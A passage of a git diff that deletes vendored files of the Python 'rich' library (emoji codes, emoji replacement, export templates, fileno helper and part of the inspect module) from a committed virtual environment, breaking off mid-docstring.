"diamond_shape_with_a_dot_inside": "💠", - "dart": "🎯", - "disappointed_relieved": "😥", - "disappointed": "😞", - "do_not_litter": "🚯", - "dog2": "🐕", - "flipper": "🐬", - "loop": "➿", - "bangbang": "‼", - "double_vertical_bar": "⏸", - "dove_of_peace": "🕊", - "small_red_triangle_down": "🔻", - "arrow_down_small": "🔽", - "arrow_down": "⬇", - "dromedary_camel": "🐪", - "e__mail": "📧", - "corn": "🌽", - "ear_of_rice": "🌾", - "earth_americas": "🌎", - "earth_asia": "🌏", - "earth_africa": "🌍", - "eight_pointed_black_star": "✴", - "eight_spoked_asterisk": "✳", - "eject_symbol": "⏏", - "bulb": "💡", - "emoji_modifier_fitzpatrick_type__1__2": "🏻", - "emoji_modifier_fitzpatrick_type__3": "🏼", - "emoji_modifier_fitzpatrick_type__4": "🏽", - "emoji_modifier_fitzpatrick_type__5": "🏾", - "emoji_modifier_fitzpatrick_type__6": "🏿", - "end": "🔚", - "email": "✉", - "european_castle": "🏰", - "european_post_office": "🏤", - "interrobang": "⁉", - "expressionless": "😑", - "eyeglasses": "👓", - "massage": "💆", - "yum": "😋", - "scream": "😱", - "kissing_heart": "😘", - "sweat": "😓", - "face_with_head__bandage": "🤕", - "triumph": "😤", - "mask": "😷", - "no_good": "🙅", - "ok_woman": "🙆", - "open_mouth": "😮", - "cold_sweat": "😰", - "stuck_out_tongue": "😛", - "stuck_out_tongue_closed_eyes": "😝", - "stuck_out_tongue_winking_eye": "😜", - "joy": "😂", - "no_mouth": "😶", - "santa": "🎅", - "fax": "📠", - "fearful": "😨", - "field_hockey_stick_and_ball": "🏑", - "first_quarter_moon_with_face": "🌛", - "fish_cake": "🍥", - "fishing_pole_and_fish": "🎣", - "facepunch": "👊", - "punch": "👊", - "flag_for_afghanistan": "🇦🇫", - "flag_for_albania": "🇦🇱", - "flag_for_algeria": "🇩🇿", - "flag_for_american_samoa": "🇦🇸", - "flag_for_andorra": "🇦🇩", - "flag_for_angola": "🇦🇴", - "flag_for_anguilla": "🇦🇮", - "flag_for_antarctica": "🇦🇶", - "flag_for_antigua_&_barbuda": "🇦🇬", - "flag_for_argentina": "🇦🇷", - "flag_for_armenia": "🇦🇲", - "flag_for_aruba": "🇦🇼", - "flag_for_ascension_island": "🇦🇨", - "flag_for_australia": "🇦🇺", - "flag_for_austria": "🇦🇹", - "flag_for_azerbaijan": "🇦🇿", - "flag_for_bahamas": "🇧🇸", - "flag_for_bahrain": "🇧🇭", - "flag_for_bangladesh": "🇧🇩", - "flag_for_barbados": "🇧🇧", - "flag_for_belarus": "🇧🇾", - "flag_for_belgium": "🇧🇪", - "flag_for_belize": "🇧🇿", - "flag_for_benin": "🇧🇯", - "flag_for_bermuda": "🇧🇲", - "flag_for_bhutan": "🇧🇹", - "flag_for_bolivia": "🇧🇴", - "flag_for_bosnia_&_herzegovina": "🇧🇦", - "flag_for_botswana": "🇧🇼", - "flag_for_bouvet_island": "🇧🇻", - "flag_for_brazil": "🇧🇷", - "flag_for_british_indian_ocean_territory": "🇮🇴", - "flag_for_british_virgin_islands": "🇻🇬", - "flag_for_brunei": "🇧🇳", - "flag_for_bulgaria": "🇧🇬", - "flag_for_burkina_faso": "🇧🇫", - "flag_for_burundi": "🇧🇮", - "flag_for_cambodia": "🇰🇭", - "flag_for_cameroon": "🇨🇲", - "flag_for_canada": "🇨🇦", - "flag_for_canary_islands": "🇮🇨", - "flag_for_cape_verde": "🇨🇻", - "flag_for_caribbean_netherlands": "🇧🇶", - "flag_for_cayman_islands": "🇰🇾", - "flag_for_central_african_republic": "🇨🇫", - "flag_for_ceuta_&_melilla": "🇪🇦", - "flag_for_chad": "🇹🇩", - "flag_for_chile": "🇨🇱", - "flag_for_china": "🇨🇳", - "flag_for_christmas_island": "🇨🇽", - "flag_for_clipperton_island": "🇨🇵", - "flag_for_cocos__islands": "🇨🇨", - "flag_for_colombia": "🇨🇴", - "flag_for_comoros": "🇰🇲", - "flag_for_congo____brazzaville": "🇨🇬", - "flag_for_congo____kinshasa": "🇨🇩", - "flag_for_cook_islands": "🇨🇰", - "flag_for_costa_rica": "🇨🇷", - "flag_for_croatia": "🇭🇷", - "flag_for_cuba": "🇨🇺", - "flag_for_curaçao": "🇨🇼", - "flag_for_cyprus": "🇨🇾", - "flag_for_czech_republic": "🇨🇿", - "flag_for_côte_d’ivoire": "🇨🇮", - "flag_for_denmark": "🇩🇰", - "flag_for_diego_garcia": "🇩🇬", - "flag_for_djibouti": "🇩🇯", - "flag_for_dominica": "🇩🇲", - "flag_for_dominican_republic": "🇩🇴", - "flag_for_ecuador": "🇪🇨", - "flag_for_egypt": "🇪🇬", - "flag_for_el_salvador": "🇸🇻", - "flag_for_equatorial_guinea": "🇬🇶", - "flag_for_eritrea": "🇪🇷", - "flag_for_estonia": "🇪🇪", - "flag_for_ethiopia": "🇪🇹", - "flag_for_european_union": "🇪🇺", - "flag_for_falkland_islands": "🇫🇰", - "flag_for_faroe_islands": "🇫🇴", - "flag_for_fiji": "🇫🇯", - "flag_for_finland": "🇫🇮", - "flag_for_france": "🇫🇷", - "flag_for_french_guiana": "🇬🇫", - "flag_for_french_polynesia": "🇵🇫", - "flag_for_french_southern_territories": "🇹🇫", - "flag_for_gabon": "🇬🇦", - "flag_for_gambia": "🇬🇲", - "flag_for_georgia": "🇬🇪", - "flag_for_germany": "🇩🇪", - "flag_for_ghana": "🇬🇭", - "flag_for_gibraltar": "🇬🇮", - "flag_for_greece": "🇬🇷", - "flag_for_greenland": "🇬🇱", - "flag_for_grenada": "🇬🇩", - "flag_for_guadeloupe": "🇬🇵", - "flag_for_guam": "🇬🇺", - "flag_for_guatemala": "🇬🇹", - "flag_for_guernsey": "🇬🇬", - "flag_for_guinea": "🇬🇳", - "flag_for_guinea__bissau": "🇬🇼", - "flag_for_guyana": "🇬🇾", - "flag_for_haiti": "🇭🇹", - "flag_for_heard_&_mcdonald_islands": "🇭🇲", - "flag_for_honduras": "🇭🇳", - "flag_for_hong_kong": "🇭🇰", - "flag_for_hungary": "🇭🇺", - "flag_for_iceland": "🇮🇸", - "flag_for_india": "🇮🇳", - "flag_for_indonesia": "🇮🇩", - "flag_for_iran": "🇮🇷", - "flag_for_iraq": "🇮🇶", - "flag_for_ireland": "🇮🇪", - "flag_for_isle_of_man": "🇮🇲", - "flag_for_israel": "🇮🇱", - "flag_for_italy": "🇮🇹", - "flag_for_jamaica": "🇯🇲", - "flag_for_japan": "🇯🇵", - "flag_for_jersey": "🇯🇪", - "flag_for_jordan": "🇯🇴", - "flag_for_kazakhstan": "🇰🇿", - "flag_for_kenya": "🇰🇪", - "flag_for_kiribati": "🇰🇮", - "flag_for_kosovo": "🇽🇰", - "flag_for_kuwait": "🇰🇼", - "flag_for_kyrgyzstan": "🇰🇬", - "flag_for_laos": "🇱🇦", - "flag_for_latvia": "🇱🇻", - "flag_for_lebanon": "🇱🇧", - "flag_for_lesotho": "🇱🇸", - "flag_for_liberia": "🇱🇷", - "flag_for_libya": "🇱🇾", - "flag_for_liechtenstein": "🇱🇮", - "flag_for_lithuania": "🇱🇹", - "flag_for_luxembourg": "🇱🇺", - "flag_for_macau": "🇲🇴", - "flag_for_macedonia": "🇲🇰", - "flag_for_madagascar": "🇲🇬", - "flag_for_malawi": "🇲🇼", - "flag_for_malaysia": "🇲🇾", - "flag_for_maldives": "🇲🇻", - "flag_for_mali": "🇲🇱", - "flag_for_malta": "🇲🇹", - "flag_for_marshall_islands": "🇲🇭", - "flag_for_martinique": "🇲🇶", - "flag_for_mauritania": "🇲🇷", - "flag_for_mauritius": "🇲🇺", - "flag_for_mayotte": "🇾🇹", - "flag_for_mexico": "🇲🇽", - "flag_for_micronesia": "🇫🇲", - "flag_for_moldova": "🇲🇩", - "flag_for_monaco": "🇲🇨", - "flag_for_mongolia": "🇲🇳", - "flag_for_montenegro": "🇲🇪", - "flag_for_montserrat": "🇲🇸", - "flag_for_morocco": "🇲🇦", - "flag_for_mozambique": "🇲🇿", - "flag_for_myanmar": "🇲🇲", - "flag_for_namibia": "🇳🇦", - "flag_for_nauru": "🇳🇷", - "flag_for_nepal": "🇳🇵", - "flag_for_netherlands": "🇳🇱", - "flag_for_new_caledonia": "🇳🇨", - "flag_for_new_zealand": "🇳🇿", - "flag_for_nicaragua": "🇳🇮", - "flag_for_niger": "🇳🇪", - "flag_for_nigeria": "🇳🇬", - "flag_for_niue": "🇳🇺", - "flag_for_norfolk_island": "🇳🇫", - "flag_for_north_korea": "🇰🇵", - "flag_for_northern_mariana_islands": "🇲🇵", - "flag_for_norway": "🇳🇴", - "flag_for_oman": "🇴🇲", - "flag_for_pakistan": "🇵🇰", - "flag_for_palau": "🇵🇼", - "flag_for_palestinian_territories": "🇵🇸", - "flag_for_panama": "🇵🇦", - "flag_for_papua_new_guinea": "🇵🇬", - "flag_for_paraguay": "🇵🇾", - "flag_for_peru": "🇵🇪", - "flag_for_philippines": "🇵🇭", - "flag_for_pitcairn_islands": "🇵🇳", - "flag_for_poland": "🇵🇱", - "flag_for_portugal": "🇵🇹", - "flag_for_puerto_rico": "🇵🇷", - "flag_for_qatar": "🇶🇦", - "flag_for_romania": "🇷🇴", - "flag_for_russia": "🇷🇺", - "flag_for_rwanda": "🇷🇼", - "flag_for_réunion": "🇷🇪", - "flag_for_samoa": "🇼🇸", - "flag_for_san_marino": "🇸🇲", - "flag_for_saudi_arabia": "🇸🇦", - "flag_for_senegal": "🇸🇳", - "flag_for_serbia": "🇷🇸", - "flag_for_seychelles": "🇸🇨", - "flag_for_sierra_leone": "🇸🇱", - "flag_for_singapore": "🇸🇬", - "flag_for_sint_maarten": "🇸🇽", - "flag_for_slovakia": "🇸🇰", - "flag_for_slovenia": "🇸🇮", - "flag_for_solomon_islands": "🇸🇧", - "flag_for_somalia": "🇸🇴", - "flag_for_south_africa": "🇿🇦", - "flag_for_south_georgia_&_south_sandwich_islands": "🇬🇸", - "flag_for_south_korea": "🇰🇷", - "flag_for_south_sudan": "🇸🇸", - "flag_for_spain": "🇪🇸", - "flag_for_sri_lanka": "🇱🇰", - "flag_for_st._barthélemy": "🇧🇱", - "flag_for_st._helena": "🇸🇭", - "flag_for_st._kitts_&_nevis": "🇰🇳", - "flag_for_st._lucia": "🇱🇨", - "flag_for_st._martin": "🇲🇫", - "flag_for_st._pierre_&_miquelon": "🇵🇲", - "flag_for_st._vincent_&_grenadines": "🇻🇨", - "flag_for_sudan": "🇸🇩", - "flag_for_suriname": "🇸🇷", - "flag_for_svalbard_&_jan_mayen": "🇸🇯", - "flag_for_swaziland": "🇸🇿", - "flag_for_sweden": "🇸🇪", - "flag_for_switzerland": "🇨🇭", - "flag_for_syria": "🇸🇾", - "flag_for_são_tomé_&_príncipe": "🇸🇹", - "flag_for_taiwan": "🇹🇼", - "flag_for_tajikistan": "🇹🇯", - "flag_for_tanzania": "🇹🇿", - "flag_for_thailand": "🇹🇭", - "flag_for_timor__leste": "🇹🇱", - "flag_for_togo": "🇹🇬", - "flag_for_tokelau": "🇹🇰", - "flag_for_tonga": "🇹🇴", - "flag_for_trinidad_&_tobago": "🇹🇹", - "flag_for_tristan_da_cunha": "🇹🇦", - "flag_for_tunisia": "🇹🇳", - "flag_for_turkey": "🇹🇷", - "flag_for_turkmenistan": "🇹🇲", - "flag_for_turks_&_caicos_islands": "🇹🇨", - "flag_for_tuvalu": "🇹🇻", - "flag_for_u.s._outlying_islands": "🇺🇲", - "flag_for_u.s._virgin_islands": "🇻🇮", - "flag_for_uganda": "🇺🇬", - "flag_for_ukraine": "🇺🇦", - "flag_for_united_arab_emirates": "🇦🇪", - "flag_for_united_kingdom": "🇬🇧", - "flag_for_united_states": "🇺🇸", - "flag_for_uruguay": "🇺🇾", - "flag_for_uzbekistan": "🇺🇿", - "flag_for_vanuatu": "🇻🇺", - "flag_for_vatican_city": "🇻🇦", - "flag_for_venezuela": "🇻🇪", - "flag_for_vietnam": "🇻🇳", - "flag_for_wallis_&_futuna": "🇼🇫", - "flag_for_western_sahara": "🇪🇭", - "flag_for_yemen": "🇾🇪", - "flag_for_zambia": "🇿🇲", - "flag_for_zimbabwe": "🇿🇼", - "flag_for_åland_islands": "🇦🇽", - "golf": "⛳", - "fleur__de__lis": "⚜", - "muscle": "💪", - "flushed": "😳", - "frame_with_picture": "🖼", - "fries": "🍟", - "frog": "🐸", - "hatched_chick": "🐥", - "frowning": "😦", - "fuelpump": "⛽", - "full_moon_with_face": "🌝", - "gem": "💎", - "star2": "🌟", - "golfer": "🏌", - "mortar_board": "🎓", - "grimacing": "😬", - "smile_cat": "😸", - "grinning": "😀", - "grin": "😁", - "heartpulse": "💗", - "guardsman": "💂", - "haircut": "💇", - "hamster": "🐹", - "raising_hand": "🙋", - "headphones": "🎧", - "hear_no_evil": "🙉", - "cupid": "💘", - "gift_heart": "💝", - "heart": "❤", - "exclamation": "❗", - "heavy_exclamation_mark": "❗", - "heavy_heart_exclamation_mark_ornament": "❣", - "o": "⭕", - "helm_symbol": "⎈", - "helmet_with_white_cross": "⛑", - "high_heel": "👠", - "bullettrain_side": "🚄", - "bullettrain_front": "🚅", - "high_brightness": "🔆", - "zap": "⚡", - "hocho": "🔪", - "knife": "🔪", - "bee": "🐝", - "traffic_light": "🚥", - "racehorse": "🐎", - "coffee": "☕", - "hotsprings": "♨", - "hourglass": "⌛", - "hourglass_flowing_sand": "⏳", - "house_buildings": "🏘", - "100": "💯", - "hushed": "😯", - "ice_hockey_stick_and_puck": "🏒", - "imp": "👿", - "information_desk_person": "💁", - "information_source": "ℹ", - "capital_abcd": "🔠", - "abc": "🔤", - "abcd": "🔡", - "1234": "🔢", - "symbols": "🔣", - "izakaya_lantern": "🏮", - "lantern": "🏮", - "jack_o_lantern": "🎃", - "dolls": "🎎", - "japanese_goblin": "👺", - "japanese_ogre": "👹", - "beginner": "🔰", - "zero": "0️⃣", - "one": "1️⃣", - "ten": "🔟", - "two": "2️⃣", - "three": "3️⃣", - "four": "4️⃣", - "five": "5️⃣", - "six": "6️⃣", - "seven": "7️⃣", - "eight": "8️⃣", - "nine": "9️⃣", - "couplekiss": "💏", - "kissing_cat": "😽", - "kissing": "😗", - "kissing_closed_eyes": "😚", - "kissing_smiling_eyes": "😙", - "beetle": "🐞", - "large_blue_circle": "🔵", - "last_quarter_moon_with_face": "🌜", - "leaves": "🍃", - "mag": "🔍", - "left_right_arrow": "↔", - "leftwards_arrow_with_hook": "↩", - "arrow_left": "⬅", - "lock": "🔒", - "lock_with_ink_pen": "🔏", - "sob": "😭", - "low_brightness": "🔅", - "lower_left_ballpoint_pen": "🖊", - "lower_left_crayon": "🖍", - "lower_left_fountain_pen": "🖋", - "lower_left_paintbrush": "🖌", - "mahjong": "🀄", - "couple": "👫", - "man_in_business_suit_levitating": "🕴", - "man_with_gua_pi_mao": "👲", - "man_with_turban": "👳", - "mans_shoe": "👞", - "shoe": "👞", - "menorah_with_nine_branches": "🕎", - "mens": "🚹", - "minidisc": "💽", - "iphone": "📱", - "calling": "📲", - "money__mouth_face": "🤑", - "moneybag": "💰", - "rice_scene": "🎑", - "mountain_bicyclist": "🚵", - "mouse2": "🐁", - "lips": "👄", - "moyai": "🗿", - "notes": "🎶", - "nail_care": "💅", - "ab": "🆎", - "negative_squared_cross_mark": "❎", - "a": "🅰", - "b": "🅱", - "o2": "🅾", - "parking": "🅿", - "new_moon_with_face": "🌚", - "no_entry_sign": "🚫", - "underage": "🔞", - "non__potable_water": "🚱", - "arrow_upper_right": "↗", - "arrow_upper_left": "↖", - "office": "🏢", - "older_man": "👴", - "older_woman": "👵", - "om_symbol": "🕉", - "on": "🔛", - "book": "📖", - "unlock": "🔓", - "mailbox_with_no_mail": "📭", - "mailbox_with_mail": "📬", - "cd": "💿", - "tada": "🎉", - "feet": "🐾", - "walking": "🚶", - "pencil2": "✏", - "pensive": "😔", - "persevere": "😣", - "bow": "🙇", - "raised_hands": "🙌", - "person_with_ball": "⛹", - "person_with_blond_hair": "👱", - "pray": "🙏", - "person_with_pouting_face": "🙎", - "computer": "💻", - "pig2": "🐖", - "hankey": "💩", - "poop": "💩", - "shit": "💩", - "bamboo": "🎍", - "gun": "🔫", - "black_joker": "🃏", - "rotating_light": "🚨", - "cop": "👮", - "stew": "🍲", - "pouch": "👝", - "pouting_cat": "😾", - "rage": "😡", - "put_litter_in_its_place": "🚮", - "rabbit2": "🐇", - "racing_motorcycle": "🏍", - "radioactive_sign": "☢", - "fist": "✊", - "hand": "✋", - "raised_hand_with_fingers_splayed": "🖐", - "raised_hand_with_part_between_middle_and_ring_fingers": "🖖", - "blue_car": "🚙", - "apple": "🍎", - "relieved": "😌", - "reversed_hand_with_middle_finger_extended": "🖕", - "mag_right": "🔎", - "arrow_right_hook": "↪", - "sweet_potato": "🍠", - "robot": "🤖", - "rolled__up_newspaper": "🗞", - "rowboat": "🚣", - "runner": "🏃", - "running": "🏃", - "running_shirt_with_sash": "🎽", - "boat": "⛵", - "scales": "⚖", - "school_satchel": "🎒", - "scorpius": "♏", - "see_no_evil": "🙈", - "sheep": "🐑", - "stars": "🌠", - "cake": "🍰", - "six_pointed_star": "🔯", - "ski": "🎿", - "sleeping_accommodation": "🛌", - "sleeping": "😴", - "sleepy": "😪", - "sleuth_or_spy": "🕵", - "heart_eyes_cat": "😻", - "smiley_cat": "😺", - "innocent": "😇", - "heart_eyes": "😍", - "smiling_imp": "😈", - "smiley": "😃", - "sweat_smile": "😅", - "smile": "😄", - "laughing": "😆", - "satisfied": "😆", - "blush": "😊", - "smirk": "😏", - "smoking": "🚬", - "snow_capped_mountain": "🏔", - "soccer": "⚽", - "icecream": "🍦", - "soon": "🔜", - "arrow_lower_right": "↘", - "arrow_lower_left": "↙", - "speak_no_evil": "🙊", - "speaker": "🔈", - "mute": "🔇", - "sound": "🔉", - "loud_sound": "🔊", - "speaking_head_in_silhouette": "🗣", - "spiral_calendar_pad": "🗓", - "spiral_note_pad": "🗒", - "shell": "🐚", - "sweat_drops": "💦", - "u5272": "🈹", - "u5408": "🈴", - "u55b6": "🈺", - "u6307": "🈯", - "u6708": "🈷", - "u6709": "🈶", - "u6e80": "🈵", - "u7121": "🈚", - "u7533": "🈸", - "u7981": "🈲", - "u7a7a": "🈳", - "cl": "🆑", - "cool": "🆒", - "free": "🆓", - "id": "🆔", - "koko": "🈁", - "sa": "🈂", - "new": "🆕", - "ng": "🆖", - "ok": "🆗", - "sos": "🆘", - "up": "🆙", - "vs": "🆚", - "steam_locomotive": "🚂", - "ramen": "🍜", - "partly_sunny": "⛅", - "city_sunrise": "🌇", - "surfer": "🏄", - "swimmer": "🏊", - "shirt": "👕", - "tshirt": "👕", - "table_tennis_paddle_and_ball": "🏓", - "tea": "🍵", - "tv": "📺", - "three_button_mouse": "🖱", - "+1": "👍", - "thumbsup": "👍", - "__1": "👎", - "-1": "👎", - "thumbsdown": "👎", - "thunder_cloud_and_rain": "⛈", - "tiger2": "🐅", - "tophat": "🎩", - "top": "🔝", - "tm": "™", - "train2": "🚆", - "triangular_flag_on_post": "🚩", - "trident": "🔱", - "twisted_rightwards_arrows": "🔀", - "unamused": "😒", - "small_red_triangle": "🔺", - "arrow_up_small": "🔼", - "arrow_up_down": "↕", - "upside__down_face": "🙃", - "arrow_up": "⬆", - "v": "✌", - "vhs": "📼", - "wc": "🚾", - "ocean": "🌊", - "waving_black_flag": "🏴", - "wave": "👋", - "waving_white_flag": "🏳", - "moon": "🌔", - "scream_cat": "🙀", - "weary": "😩", - "weight_lifter": "🏋", - "whale2": "🐋", - "wheelchair": "♿", - "point_down": "👇", - "grey_exclamation": "❕", - "white_frowning_face": "☹", - "white_check_mark": "✅", - "point_left": "👈", - "white_medium_small_square": "◽", - "star": "⭐", - "grey_question": "❔", - "point_right": "👉", - "relaxed": "☺", - "white_sun_behind_cloud": "🌥", - "white_sun_behind_cloud_with_rain": "🌦", - "white_sun_with_small_cloud": "🌤", - "point_up_2": "👆", - "point_up": "☝", - "wind_blowing_face": "🌬", - "wink": "😉", - "wolf": "🐺", - "dancers": "👯", - "boot": "👢", - "womans_clothes": "👚", - "womans_hat": "👒", - "sandal": "👡", - "womens": "🚺", - "worried": "😟", - "gift": "🎁", - "zipper__mouth_face": "🤐", - "regional_indicator_a": "🇦", - "regional_indicator_b": "🇧", - "regional_indicator_c": "🇨", - "regional_indicator_d": "🇩", - "regional_indicator_e": "🇪", - "regional_indicator_f": "🇫", - "regional_indicator_g": "🇬", - "regional_indicator_h": "🇭", - "regional_indicator_i": "🇮", - "regional_indicator_j": "🇯", - "regional_indicator_k": "🇰", - "regional_indicator_l": "🇱", - "regional_indicator_m": "🇲", - "regional_indicator_n": "🇳", - "regional_indicator_o": "🇴", - "regional_indicator_p": "🇵", - "regional_indicator_q": "🇶", - "regional_indicator_r": "🇷", - "regional_indicator_s": "🇸", - "regional_indicator_t": "🇹", - "regional_indicator_u": "🇺", - "regional_indicator_v": "🇻", - "regional_indicator_w": "🇼", - "regional_indicator_x": "🇽", - "regional_indicator_y": "🇾", - "regional_indicator_z": "🇿", -} diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_emoji_replace.py b/venv/Lib/site-packages/pip/_vendor/rich/_emoji_replace.py deleted file mode 100644 index bb2cafa18011e7115773055338291c366f173d6f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/_emoji_replace.py +++ /dev/null @@ -1,32 +0,0 @@ -from typing import Callable, Match, Optional -import re - -from ._emoji_codes import EMOJI - - -_ReStringMatch = Match[str] # regex match object -_ReSubCallable = Callable[[_ReStringMatch], str] # Callable invoked by re.sub -_EmojiSubMethod = Callable[[_ReSubCallable, str], str] # Sub method of a compiled re - - -def _emoji_replace( - text: str, - default_variant: Optional[str] = None, - _emoji_sub: _EmojiSubMethod = re.compile(r"(:(\S*?)(?:(?:\-)(emoji|text))?:)").sub, -) -> str: - """Replace emoji code in text.""" - get_emoji = EMOJI.__getitem__ - variants = {"text": "\uFE0E", "emoji": "\uFE0F"} - get_variant = variants.get - default_variant_code = variants.get(default_variant, "") if default_variant else "" - - def do_replace(match: Match[str]) -> str: - emoji_code, emoji_name, variant = match.groups() - try: - return get_emoji(emoji_name.lower()) + get_variant( - variant, default_variant_code - ) - except KeyError: - return emoji_code - - return _emoji_sub(do_replace, text) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_export_format.py b/venv/Lib/site-packages/pip/_vendor/rich/_export_format.py deleted file mode 100644 index e7527e52f6613328630fc6305f957d9ea58027d8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/_export_format.py +++ /dev/null @@ -1,76 +0,0 @@ -CONSOLE_HTML_FORMAT = """\ - - - - - - - -
{code}
- - -""" - -CONSOLE_SVG_FORMAT = """\ - - - - - - - - - {lines} - - - {chrome} - - {backgrounds} - - {matrix} - - - -""" - -_SVG_FONT_FAMILY = "Rich Fira Code" -_SVG_CLASSES_PREFIX = "rich-svg" diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_extension.py b/venv/Lib/site-packages/pip/_vendor/rich/_extension.py deleted file mode 100644 index cbd6da9be4956ce8558304ed72ffbe88ccd22ba5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/_extension.py +++ /dev/null @@ -1,10 +0,0 @@ -from typing import Any - - -def load_ipython_extension(ip: Any) -> None: # pragma: no cover - # prevent circular import - from pip._vendor.rich.pretty import install - from pip._vendor.rich.traceback import install as tr_install - - install() - tr_install() diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_fileno.py b/venv/Lib/site-packages/pip/_vendor/rich/_fileno.py deleted file mode 100644 index b17ee6511742d7a8d5950bf0ee57ced4d5fd45c2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/_fileno.py +++ /dev/null @@ -1,24 +0,0 @@ -from __future__ import annotations - -from typing import IO, Callable - - -def get_fileno(file_like: IO[str]) -> int | None: - """Get fileno() from a file, accounting for poorly implemented file-like objects. - - Args: - file_like (IO): A file-like object. - - Returns: - int | None: The result of fileno if available, or None if operation failed. - """ - fileno: Callable[[], int] | None = getattr(file_like, "fileno", None) - if fileno is not None: - try: - return fileno() - except Exception: - # `fileno` is documented as potentially raising a OSError - # Alas, from the issues, there are so many poorly implemented file-like objects, - # that `fileno()` can raise just about anything. - return None - return None diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_inspect.py b/venv/Lib/site-packages/pip/_vendor/rich/_inspect.py deleted file mode 100644 index 27d65cec93bda5c7a97c2bb2117938dc0142ff8b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/_inspect.py +++ /dev/null @@ -1,268 +0,0 @@ -import inspect -from inspect import cleandoc, getdoc, getfile, isclass, ismodule, signature -from typing import Any, Collection, Iterable, Optional, Tuple, Type, Union - -from .console import Group, RenderableType -from .control import escape_control_codes -from .highlighter import ReprHighlighter -from .jupyter import JupyterMixin -from .panel import Panel -from .pretty import Pretty -from .table import Table -from .text import Text, TextType - - -def _first_paragraph(doc: str) -> str: - """Get the first paragraph from a docstring.""" - paragraph, _, _ = doc.partition("\n\n") - return paragraph - - -class Inspect(JupyterMixin): - """A renderable to inspect any Python Object. - - Args: - obj (Any): An object to inspect. - title (str, optional): Title to display over inspect result, or None use type. Defaults to None. - help (bool, optional): Show full help text rather than just first paragraph. Defaults to False. - methods (bool, optional): Enable inspection of callables. Defaults to False. - docs (bool, optional): Also render doc strings. Defaults to True. - private (bool, optional): Show private attributes (beginning with underscore). Defaults to False. - dunder (bool, optional): Show attributes starting with double underscore. Defaults to False. - sort (bool, optional): Sort attributes alphabetically. Defaults to True. - all (bool, optional): Show all attributes. Defaults to False. - value (bool, optional): Pretty print value of object. Defaults to True. - """ - - def __init__( - self, - obj: Any, - *, - title: Optional[TextType] = None, - help: bool = False, - methods: bool = False, - docs: bool = True, - private: bool = False, - dunder: bool = False, - sort: bool = True, - all: bool = True, - value: bool = True, - ) -> None: - self.highlighter = ReprHighlighter() - self.obj = obj - self.title = title or self._make_title(obj) - if all: - methods = private = dunder = True - self.help = help - self.methods = methods - self.docs = docs or help - self.private = private or dunder - self.dunder = dunder - self.sort = sort - self.value = value - - def _make_title(self, obj: Any) -> Text: - """Make a default title.""" - title_str = ( - str(obj) - if (isclass(obj) or callable(obj) or ismodule(obj)) - else str(type(obj)) - ) - title_text = self.highlighter(title_str) - return title_text - - def __rich__(self) -> Panel: - return Panel.fit( - Group(*self._render()), - title=self.title, - border_style="scope.border", - padding=(0, 1), - ) - - def _get_signature(self, name: str, obj: Any) -> Optional[Text]: - """Get a signature for a callable.""" - try: - _signature = str(signature(obj)) + ":" - except ValueError: - _signature = "(...)" - except TypeError: - return None - - source_filename: Optional[str] = None - try: - source_filename = getfile(obj) - except (OSError, TypeError): - # OSError is raised if obj has no source file, e.g. when defined in REPL. - pass - - callable_name = Text(name, style="inspect.callable") - if source_filename: - callable_name.stylize(f"link file://{source_filename}") - signature_text = self.highlighter(_signature) - - qualname = name or getattr(obj, "__qualname__", name) - - # If obj is a module, there may be classes (which are callable) to display - if inspect.isclass(obj): - prefix = "class" - elif inspect.iscoroutinefunction(obj): - prefix = "async def" - else: - prefix = "def" - - qual_signature = Text.assemble( - (f"{prefix} ", f"inspect.{prefix.replace(' ', '_')}"), - (qualname, "inspect.callable"), - signature_text, - ) - - return qual_signature - - def _render(self) -> Iterable[RenderableType]: - """Render object.""" - - def sort_items(item: Tuple[str, Any]) -> Tuple[bool, str]: - key, (_error, value) = item - return (callable(value), key.strip("_").lower()) - - def safe_getattr(attr_name: str) -> Tuple[Any, Any]: - """Get attribute or any exception.""" - try: - return (None, getattr(obj, attr_name)) - except Exception as error: - return (error, None) - - obj = self.obj - keys = dir(obj) - total_items = len(keys) - if not self.dunder: - keys = [key for key in keys if not key.startswith("__")] - if not self.private: - keys = [key for key in keys if not key.startswith("_")] - not_shown_count = total_items - len(keys) - items = [(key, safe_getattr(key)) for key in keys] - if self.sort: - items.sort(key=sort_items) - - items_table = Table.grid(padding=(0, 1), expand=False) - items_table.add_column(justify="right") - add_row = items_table.add_row - highlighter = self.highlighter - - if callable(obj): - signature = self._get_signature("", obj) - if signature is not None: - yield signature - yield "" - - if self.docs: - _doc = self._get_formatted_doc(obj) - if _doc is not None: - doc_text = Text(_doc, style="inspect.help") - doc_text = highlighter(doc_text) - yield doc_text - yield "" - - if self.value and not (isclass(obj) or callable(obj) or ismodule(obj)): - yield Panel( - Pretty(obj, indent_guides=True, max_length=10, max_string=60), - border_style="inspect.value.border", - ) - yield "" - - for key, (error, value) in items: - key_text = Text.assemble( - ( - key, - "inspect.attr.dunder" if key.startswith("__") else "inspect.attr", - ), - (" =", "inspect.equals"), - ) - if error is not None: - warning = key_text.copy() - warning.stylize("inspect.error") - add_row(warning, highlighter(repr(error))) - continue - - if callable(value): - if not self.methods: - continue - - _signature_text = self._get_signature(key, value) - if _signature_text is None: - add_row(key_text, Pretty(value, highlighter=highlighter)) - else: - if self.docs: - docs = self._get_formatted_doc(value) - if docs is not None: - _signature_text.append("\n" if "\n" in docs else " ") - doc = highlighter(docs) - doc.stylize("inspect.doc") - _signature_text.append(doc) - - add_row(key_text, _signature_text) - else: - add_row(key_text, Pretty(value, highlighter=highlighter)) - if items_table.row_count: - yield items_table - elif not_shown_count: - yield Text.from_markup( - f"[b cyan]{not_shown_count}[/][i] attribute(s) not shown.[/i] " - f"Run [b][magenta]inspect[/]([not b]inspect[/])[/b] for options." - ) - - def _get_formatted_doc(self, object_: Any) -> Optional[str]: - """ - Extract the docstring of an object, process it and returns it. - The processing consists in cleaning up the docstring's indentation, - taking only its 1st paragraph if `self.help` is not True, - and escape its control codes. - - 